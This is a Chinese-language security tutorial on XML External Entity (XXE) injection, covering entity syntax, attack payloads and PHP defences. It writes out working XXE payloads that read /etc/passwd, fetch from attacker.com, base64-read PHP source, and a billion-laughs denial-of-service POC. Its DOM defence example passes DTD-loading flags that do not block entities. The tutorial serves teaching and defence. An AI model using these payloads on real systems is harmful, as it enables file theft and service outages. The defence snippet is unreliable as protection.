科普：XXE注入攻击与防御

0×00 前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题.

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在XML1.0标准⾥里,XML文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题.

0×01 威胁

XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:

pull-in任意文件遍历/下载
从开源中国的某XXE漏洞到主站shell
百度某功能XML实体注入
百度某功能XML实体注入(二)

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为: xml_parse和simplexml_load xml_parse的实现方式为expat库，默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.除PHP外，在Java，Python等处理xml的组件及函数中都可能存在此问题

0×02 语法

要写Payload,首先要对XML实体语法有一定了解

XML中entity的定义语法为:

<!DOCTYPE filename  
[  
<!ENTITY entity-name "entity-content"  
]>

如果要引用一个外部资源,可以借助各种协议几个例子:

file:///path/to/file.ext  
http://url/file.ext  
php://filter/read=convert.base64-encode/resource=conf.php

故构造几种简单的Payload模型如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [  
<!ELEMENT methodname ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<methodcall> 
<methodname>&xxe;</methodname> 
</methodcall>

亦可读取网站内容

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [  
<!ELEMENT methodname ANY > 
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]> 
<methodcall> 
<methodname>&xxe;</methodname> 
</methodcall>

如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [  
<!ELEMENT methodname ANY > 
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> 
<methodcall> 
<methodname>&xxe;</methodname> 
</methodcall>

0×03 攻击

借助XXE,有几种可用且公开的攻击方式:

拒绝服务

POC

<?xml version = "1.0"?> 
<!DOCTYPE lolz [  
<!ENTITY lol "lol"> 
<!ELEMENT lolz (#PCDATA)> 
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> 
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> 
<lolz>&lol9;</lolz>

POC中中先定义了lol实体，值为”lol”的字符串,后在下面又定义了lol2实体，lol2实体引用10个lol实体，lol3又引用了10个lol2实体的值，依此类推，到了最后在lolz元素中引用的lol9中，就会存在上亿个”lol”字符串此时解析数据时未做特别处理，即可能造成拒绝服务攻击。

此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

内网信息

借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

文件读取

最常规也是最有效的利用思路

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xdsec [  
<!ELEMENT methodname ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<methodcall> 
<methodname>&xxe;</methodname> 
</methodcall>

附上两张截图,实现文件读取的过程

0×04 防御

1.检查所使用的底层xml解析库，默认禁止外部实体的解析

2.使用第三方应用代码及时升级补丁

3.同时增强对系统的监控，防止此问题被人利用

对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php 
libxml_disable_entity_loader(true);  
?>

以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:

<?php // with the XMLReader functionality:  $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);  // with the DOM functionality:  $dom = new DOMDocument();  $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);  ?>>